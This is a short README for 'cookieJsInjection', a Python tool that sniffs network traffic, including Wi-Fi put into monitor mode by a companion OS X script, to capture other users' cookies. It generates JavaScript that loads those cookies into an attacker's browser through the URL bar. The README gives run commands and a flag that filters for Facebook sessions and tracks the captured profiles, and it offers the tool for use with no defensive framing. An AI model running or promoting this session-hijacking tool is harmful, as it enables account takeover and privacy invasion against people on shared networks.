This software sniffs any interface for cookies, and generates javascript code that can be injected into any browser, by pasting it into the URL bar.
It comes accompanied by a script: OSx10.6_monitorMode.py, that is able to use the airport sniff feature present in OS X 10.6+, allowing the wireless device to be put in monitor mode. We are, thus, able to retrieve any cookie sent on the chosen wireless channel.
To run the cookieJsInjection open a shell (e.g., bash) and execute the following command (cookieJsInjection requires scapy to run - http://www.secdev.org/projects/scapy/):
./cookieJsInjection.py IFACE
Where IFACE represents the network interface you wish to sniff on (e.g. eth0, wlan0, etc).
If you supply the flag -facebook, it will only output facebook cookies, keeping track of the profiles captured in the session, and eliminating duplicate entries:
./cookieJsInjection.py IFACE -facebook
If you wish to run cookieJsInjection on a wireless device, and you are currently running OS X 10.6+, use OSx10.6_monitorMode.py:
hybrid:py-cookieJsInjection diogomonica$ sudo python OSx10.6_monitorMode.py 9 -facebook
